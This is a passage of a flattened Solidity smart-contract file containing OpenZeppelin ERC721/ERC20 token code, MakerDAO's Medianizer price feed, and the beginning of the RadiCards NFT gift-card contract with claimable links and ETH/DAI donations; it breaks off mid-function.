* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
ownedTokens[_from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Holder.sol
contract ERC721Holder is ERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes
)
public
returns(bytes4)
{
return ERC721_RECEIVED;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/Strings.sol
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
}
// File: contracts/Medianizer.sol
// This is the original medianizer implementation used by MakerDAO. we use this
// contract to fetch the latest ether price by calling the read() function.
// public deployed instances of this contract can be found here:
//1) kovan: https://kovan.etherscan.io/address/0x9FfFE440258B79c5d6604001674A4722FfC0f7Bc#code
//2) mainnet: https://etherscan.io/address/0x729D19f657BD0614b4985Cf1D82531c67569197B#readContract
/// return median value of feeds
// Copyright (C) 2017 DappHub, LLC
// Licensed under the Apache License, Version 2.0 (the "License").
// You may not use this file except in compliance with the License.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
pragma solidity ^0.4.8;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) constant returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
modifier authorized(bytes4 sig) {
assert(isAuthorized(msg.sender, sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
function assert(bool x) internal {
if (!x) throw;
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
/*
standard uint256 functions
*/
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
/*
uint128 functions (h is for half)
*/
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
/*
int256 functions
*/
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
/*
WAD math
*/
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
/*
RAY math
*/
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract DSThing is DSAuth, DSNote, DSMath {
}
contract DSValue is DSThing {
bool has;
bytes32 val;
function peek() constant returns (bytes32, bool) {
return (val,has);
}
function read() constant returns (bytes32) {
var (wut, has) = peek();
assert(has);
return wut;
}
function poke(bytes32 wut) note auth {
val = wut;
has = true;
}
function void() note auth { // unset the value
has = false;
}
}
contract Medianizer is DSValue {
mapping (bytes12 => address) public values;
mapping (address => bytes12) public indexes;
bytes12 public next = 0x1;
uint96 public min = 0x1;
function set(address wat) auth {
bytes12 nextId = bytes12(uint96(next) + 1);
assert(nextId != 0x0);
set(next, wat);
next = nextId;
}
function set(bytes12 pos, address wat) note auth {
if (pos == 0x0) throw;
if (wat != 0 && indexes[wat] != 0) throw;
indexes[values[pos]] = 0; // Making sure to remove a possible existing address in that position
if (wat != 0) {
indexes[wat] = pos;
}
values[pos] = wat;
}
function setMin(uint96 min_) note auth {
if (min_ == 0x0) throw;
min = min_;
}
function setNext(bytes12 next_) note auth {
if (next_ == 0x0) throw;
next = next_;
}
function unset(bytes12 pos) {
set(pos, 0);
}
function unset(address wat) {
set(indexes[wat], 0);
}
function poke() {
poke(0);
}
function poke(bytes32) note {
(val, has) = compute();
}
function compute() constant returns (bytes32, bool) {
bytes32[] memory wuts = new bytes32[](uint96(next) - 1);
uint96 ctr = 0;
for (uint96 i = 1; i < uint96(next); i++) {
if (values[bytes12(i)] != 0) {
var (wut, wuz) = DSValue(values[bytes12(i)]).peek();
if (wuz) {
if (ctr == 0 || wut >= wuts[ctr - 1]) {
wuts[ctr] = wut;
} else {
uint96 j = 0;
while (wut >= wuts[j]) {
j++;
}
for (uint96 k = ctr; k > j; k--) {
wuts[k] = wuts[k - 1];
}
wuts[j] = wut;
}
ctr++;
}
}
}
if (ctr < min) return (val, false);
bytes32 value;
if (ctr % 2 == 0) {
uint128 val1 = uint128(wuts[(ctr / 2) - 1]);
uint128 val2 = uint128(wuts[ctr / 2]);
value = bytes32(wdiv(hadd(val1, val2), 2 ether));
} else {
value = wuts[(ctr - 1) / 2];
}
return (value, true);
}
}
// File: contracts/RadiCards.sol
/**
* @title Radi.Cards
* This is the main Radi Cards NFT (ERC721) contract. It allows for the minting of
* cards(NFTs) that can be sent to either a known EOA or to a claimable link.
* ETH or DAI can be sent along with the card and the sender can choose a ratio
* between a participating benefactor and the recipient, with no restriction.
* Predefined cards can be added, with the artwork stored on IPFS.
* The card message is stored within the smart contract. Cards can have a defined max
* quantity that can be minted and a minimum purchase price. The claimable link sender
* generates a public/private key pair that is used to take the NFT out of escrow (held within
* this contract). The private key can then be sent to the recipient by email,
* telergram, wechat ect. and is embedded within a URL to a claim page. When the user
* opens the claim URL the private key is used to redeem the NFT and any associated gift (ETH/DAI).
* @author blockrocket.tech (smart contracts)
* @author cryptodecks.co
* @author knownorigin.io
* @author pheme.app
* @author d1labs.com
* @author mbdoesthings.com
* @author chrismaree.io (smart contracts v2 update)
*/
contract RadiCards is ERC721Token, ERC721Holder, Whitelist {
using SafeMath for uint256;
// dai support
StandardToken daiContract;
Medianizer medianizerContract;
string public tokenBaseURI = "https://ipfs.infura.io/ipfs/";
uint256 public tokenIdPointer = 0;
struct Benefactor {
address ethAddress;
string name;
string website;
string logo;
}
struct CardDesign {
string tokenURI;
bool active;
uint minted;
uint maxQnty; //set to zero for unlimited
//minimum price per card set in Atto (SI prefix for 1x10-18 dai)
uint256 minPrice; //set to zero to default to the minimumContribution
}
// claimable link support
enum Statuses { Empty, Deposited, Claimed, Cancelled }
uint256 public EPHEMERAL_ADDRESS_FEE = 0.01 ether;
mapping(address => uint256) public ephemeralWalletCards; // ephemeral wallet => tokenId
struct RadiCard {
address gifter;
string message;
bool daiDonation;
uint256 giftAmount;
uint256 donationAmount;
Statuses status;
uint256 cardIndex;
uint256 benefactorIndex;
}
mapping(uint256 => Benefactor) public benefactors;
uint256[] internal benefactorsIndex;
mapping(uint256 => CardDesign) public cards;
uint256[] internal cardsIndex;
mapping(uint256 => RadiCard) public tokenIdToRadiCardIndex;
//total gifted/donated in ETH
uint256 public totalGiftedInWei;
uint256 public totalDonatedInWei;
//total gifted/donated in DAI
uint256 public totalGiftedInAtto; //SI prefix for 1x10-18 dai is Atto.
uint256 public totalDonatedInAtto;
event CardGifted(
address indexed _to,
uint256 indexed _benefactorIndex,
uint256 indexed _cardIndex,
address _from,
uint256 _tokenId,
bool daiDonation,
uint256 giftAmount,
uint256 donationAmount,
Statuses status
);
event LogClaimGift(
address indexed ephemeralAddress,
address indexed sender,
uint tokenId,
address receiver,
uint giftAmount,
bool daiDonation
);
event LogCancelGift(
address indexed ephemeralAddress,
address indexed sender,
uint tokenId
);
event BenefactorAdded(
uint256 indexed _benefactorIndex
);
event CardAdded(
uint256 indexed _cardIndex
);
constructor () public ERC721Token("RadiCards", "RADI") {
addAddressToWhitelist(msg.sender);
}
function gift(address _to, uint256 _benefactorIndex, uint256 _cardIndex, string _message, uint256 _donationAmount, uint256 _giftAmount, bool _claimableLink) payable public returns (bool) {
require(_to != address(0), "Must be a valid address");
if(_donationAmount > 0){
require(benefactors[_benefactorIndex].ethAddress != address(0), "Must specify existing benefactor");
}
require(bytes(cards[_cardIndex].tokenURI).length != 0, "Must specify existing card");
require(cards[_cardIndex].active, "Must be an active card");
Statuses _giftStatus;
address _sentToAddress;
if(_claimableLink){
require(_donationAmount + _giftAmount + EPHEMERAL_ADDRESS_FEE == msg.value, "Can only request to donate and gift the amount of ether sent + Ephemeral fee");
_giftStatus = Statuses.Deposited;
_sentToAddress = this;
ephemeralWalletCards[_to] = tokenIdPointer;
_to.transfer(EPHEMERAL_ADDRESS_FEE);
}
else {
require(_donationAmount + _giftAmount == msg.value,"Can only request to donate and gift the amount of ether sent");
_giftStatus = Statuses.Claimed;
_sentToAddress = _to;
}
if (cards[_cardIndex].maxQnty > 0){ //the max quantity is set to zero to indicate no limit. Only need to check that can mint if limited
require(cards[_cardIndex].minted < cards[_cardIndex].maxQnty, "Can't exceed maximum quantity of card type");
}
if(cards[_cardIndex].minPrice > 0){ //if the card has a minimum price check that enough has been sent
// Convert the current value of the eth send to a USD value of atto (1 usd = 10^18 atto).
// require(getEthUsdValue(msg.value) >= (cards[_cardIndex].minPrice), "Must send at least the minimum amount");
require (getMinCardPriceInWei(_cardIndex) <= msg.value,"Must send at least the minimum amount to buy card");
}
tokenIdToRadiCardIndex[tokenIdPointer] = RadiCard({
gifter: msg.sender,
message: _message,
daiDonation: false,
giftAmount: _giftAmount,
donationAmount: _donationAmount,
status: _giftStatus,
cardIndex: _cardIndex,
benefactorIndex: _benefactorIndex
});
// Card is minted to the _sentToAddress. This is either this radicards contract(if claimableLink==true)
// and the creator chose to use the escrow for a claimable link or to the recipient EOA directly
uint256 _tokenId = _mint(_sentToAddress, cards[_cardIndex].tokenURI);
cards[_cardIndex].minted++;
// transfer the ETH to the benefactor
if(_donationAmount > 0){
benefactors[_benefactorIndex].ethAddress.transfer(_donationAmount);
totalDonatedInWei = totalDonatedInWei.add(_donationAmount);
}
// transfer gift to recipient.
if(_giftAmount > 0){
totalGiftedInWei = totalGiftedInWei.add(_giftAmount);
// note that we only do the transfer if the link is not claimable as if it is the eth sits in escrow within this contract
if(!_claimableLink){
_sentToAddress.transfer(_giftAmount);
}
}
emit CardGifted(_sentToAddress, _benefactorIndex, _cardIndex, msg.sender, _tokenId, false, _giftAmount, _donationAmount, _giftStatus);
return true;
}
function giftInDai(address _to, uint256 _benefactorIndex, uint256 _cardIndex, string _message, uint256 _donationAmount, uint256 _giftAmount, bool _claimableLink) public payable returns (bool) {
require(_to != address(0), "Must be a valid address");
if (_donationAmount > 0){
require(benefactors[_benefactorIndex].ethAddress != address(0), "Must specify existing benefactor");
}
require(bytes(cards[_cardIndex].tokenURI).length != 0, "Must specify existing card");
require(cards[_cardIndex].active, "Must be an active card");
require((_donationAmount + _giftAmount) <= daiContract.allowance(msg.sender, this), "Must have provided high enough alowance to Radicard contract");
require((_donationAmount + _giftAmount) <= daiContract.balanceOf(msg.sender), "Must have enough token balance of dai to pay for donation and gift amount");
if (cards[_cardIndex].maxQnty > 0){ //the max quantity is set to zero to indicate no limit. Only need to check that can mint if limited
require(cards[_cardIndex].minted < cards[_cardIndex].maxQnty, "Can't exceed maximum quantity of card type");
}
if(cards[_cardIndex].minPrice > 0){ //if the card has a minimum price check that enough has been sent
require((_donationAmount + _giftAmount) >= cards[_cardIndex].minPrice, "The total dai sent with the transaction is less than the min price of the token");
}
//parameters that change based on the if the card is setup as with a claimable link
Statuses _giftStatus;
address _sentToAddress;
if(_claimableLink){
require(msg.value == EPHEMERAL_ADDRESS_FEE, "A claimable link was generated but not enough ephemeral ether was sent!");
_giftStatus = Statuses.Deposited;
_sentToAddress = this;
// need to store the address of the ephemeral account and the card that it owns for claimable link functionality
ephemeralWalletCards[_to] = tokenIdPointer;
_to.transfer(EPHEMERAL_ADDRESS_FEE);
}
else {
_giftStatus = Statuses.Claimed;
_sentToAddress = _to;
}
tokenIdToRadiCardIndex[tokenIdPointer] = RadiCard({
gifter: msg.sender,
message: _message,
daiDonation: true,
giftAmount: _giftAmount,
donationAmount: _donationAmount,
status: _giftStatus,
cardIndex: _cardIndex,
benefactorIndex: _benefactorIndex
});
// Card is minted to the _sentToAddress. This is either this radicards contract(if claimableLink==true)
// and the creator chose to use the escrow for a claimable link or to the recipient EOA directly
uint256 _tokenId = _mint(_sentToAddress, cards[_cardIndex].tokenURI);
cards[_cardIndex].minted++;
// transfer the DAI to the benefactor
if(_donationAmount > 0){
address _benefactorAddress = benefactors[_benefactorIndex].ethAddress;
require(daiContract.transferFrom(msg.sender, _benefactorAddress, _donationAmount),"Sending to benefactor failed");
totalDonatedInAtto = totalDonatedInAtto.add(_donationAmount);
}
// transfer gift to recipient. note that this pattern is slightly different from the eth case as irrespective of
// if it is a claimable link or not we preform the transaction. if it is indeed a claimable link the dai is sent
// to the contract and held in escrow
if(_giftAmount > 0){
